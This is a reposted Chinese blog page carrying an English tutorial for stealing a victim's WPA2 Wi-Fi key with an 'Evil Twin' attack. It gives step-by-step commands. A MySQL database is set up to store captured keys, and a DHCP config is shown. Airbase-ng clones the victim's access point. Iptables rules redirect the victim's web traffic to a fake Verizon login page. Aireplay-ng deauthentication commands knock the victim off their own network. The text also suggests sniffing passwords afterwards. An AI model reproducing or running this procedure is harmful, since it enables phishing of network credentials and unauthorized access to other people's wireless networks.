Hacking WPA 2 Key - Evil Twin (No Bruteforce)

最新推荐文章于 2023-03-16 12:52:41 发布

ztguang

最新推荐文章于 2023-03-16 12:52:41 发布

阅读量645

点赞数

分类专栏：网络安全

本文链接：https://blog.csdn.net/ztguang/article/details/51015562

版权

网络安全专栏收录该内容

168 篇文章 2 订阅

订阅专栏

http://www.technicdynamic.com/?p=369

In an ealier post, we've seen how to crack WPA-2 network keys using a dictionary.

While that technique works, it could take an awful long time, especially when brute forcing.

On this technique, named 'Evil Twin', we take a different perspective to the attack. Using a powerful long range wireless card (Alfa AWUS036NH), we clone the target network to confuse our victim. Then, we deauthenticate the victim from his own wireless network and wait until he connects to our access point - which looks exactly like his. :)

When the victim connects, he is redirected to a service page asking for the WPA-2 key in order to access the internet. As soon as we get the key, you can either allow the victim to use the network (maybe improvise some password sniffing?) or just bring it down manually.

For this example I created a service page based on Verizon ISP. The files are placed at the default location (/var/www/). I created a database called 'wpa2', which can be done with the following commands:

Login to MySQL:

mysql -u root -p

Note: Default backtrack user/pass are root/toor

Create the database:

create database wpa2;

use wpa2;

create table content(key1 VARCHAR(64), key2 VARCHAR(64));

Finally, start apache and mysql services and check everything works, by going typing localhost on a web-browser.

Click here to download the files: [ DOWNLOAD ]

Check out the video:

Song: BGNS - sasas

Commands:

Install dhcp3 and create config file:

apt-get install dhcp3-server -y

mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup

gedit /etc/dhcp3/dhcpd.conf

/etc/dhcp3/dhcpd.conf:

ddns-update-style ad-hoc;

default-lease-time 600;

max-lease-time 7200;

subnet 192.168.2.128 netmask 255.255.255.128 {

option subnet-mask 255.255.255.128;

option broadcast-address 192.168.2.255;

option routers 192.168.2.129;

option domain-name-servers 8.8.8.8;

range 192.168.2.130 192.168.2.140;

}

Start clone access point:

airmon-ng start wlan0 [channel] 
 
 airbase-ng -e "AP name" -c [channel] mon0 
 
 ifconfig at0 up 
 
 ifconfig at0 192.168.2.129 netmask 255.255.255.128 
 
 route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 
 
 dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 
 
 /etc/init.d/dhc1p3-server start

Flush iptables:

iptables --flush 
 
 iptables --table nat --flush 
 
 iptables --delete-chain 
 
 iptables --table nat --delete-chain 
 
 iptables --table nat --append POSTROUTING --out-interface [internet connection] -j MASQUERADE 
 
 iptables --append FORWARD --in-interface at0 -j ACCEPT 
 
 echo 1 > /proc/sys/net/ipv4/ip_forward

Redirect traffic:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination [IP address:80] 
 
 iptables -t nat -A POSTROUTING -j MASQUERADE

DeAuthenticate Access Point (poor):

aireplay-ng -0 0 -a [target bssid] [monitor interface]

DeAuthenticate Client (recommended):

aireplay-ng -0 0 -a [target bssid] -c [client mac] [monitor interface]

阅读(38) | 评论(0) | 转发(0) |

上一篇：airbase-ng stops working after a while--wifi热点只能连接20秒左右

下一篇：kali linux——aircrack-ng